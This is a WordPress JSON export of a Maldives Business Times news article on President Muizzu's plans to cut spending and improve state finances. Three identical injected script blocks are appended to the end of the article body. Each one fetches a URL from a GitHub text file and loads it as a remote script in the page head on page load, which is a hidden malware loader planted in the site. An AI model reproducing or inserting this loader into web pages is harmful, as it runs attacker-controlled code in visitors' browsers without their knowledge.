{"id":8783,"date":"2024-02-06T10:28:32","date_gmt":"2024-02-06T05:28:32","guid":{"rendered":"https:\/\/mbt.mv\/?p=8783"},"modified":"2024-02-06T10:28:32","modified_gmt":"2024-02-06T05:28:32","slug":"president-announces-reform-policy-plans-to-improve-fiscal-conditions","status":"publish","type":"post","link":"https:\/\/mbt.mv\/?p=8783","title":{"rendered":"President announces reform policy plans to improve fiscal conditions"},"content":{"rendered":"<p>Maldives President Dr. Mohamed Muizzu has revealed the government&#8217;s plans to adopt a reform policy to improve the state&#8217;s finances and bring debt and fiscal conditions to sustainable standards.<\/p>\n<p>President Muizzu made the remarks during his Presidential Address at the inaugural session of the People&#8217;s Majilis (Maldives Parliament) for 2024.<\/p>\n<p>In his address, President Muizzu announced the current administration was taking steps on reducing expenditure. The government has started replenishing the sovereign fund with US dollars amidst this plan, and are now exploring new avenues to retain foreign currency within the Maldives.<\/p>\n<p>The government further decided to limit the appointment of senior political positions to exceptional circumstances and provide subsidies to those most in need of them. Both moves, aimed at a control of the state&#8217;s expenditure.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Maldives President Dr. Mohamed Muizzu has revealed the government&#8217;s plans to adopt a reform policy to improve the state&#8217;s finances and bring debt and fiscal conditions to sustainable standards. President Muizzu made the remarks during his Presidential Address at the inaugural session of the People&#8217;s Majilis (Maldives Parliament) for 2024. In his address, President Muizzu<\/p>\n","protected":false},"author":4,"featured_media":8784,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2424,2428],"tags":[],"class_list":{"0":"post-8783","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-finance","8":"category-public-sector"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v26.0 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>President announces reform policy plans to improve fiscal conditions - Maldives Business Times<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/mbt.mv\/?p=8783\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"President announces reform policy plans to improve fiscal conditions - Maldives Business Times\" \/>\n<meta property=\"og:description\" content=\"Maldives President Dr. Mohamed Muizzu has revealed the government&#8217;s plans to adopt a reform policy to improve the state&#8217;s finances and bring debt and fiscal conditions to sustainable standards. President Muizzu made the remarks during his Presidential Address at the inaugural session of the People&#8217;s Majilis (Maldives Parliament) for 2024. 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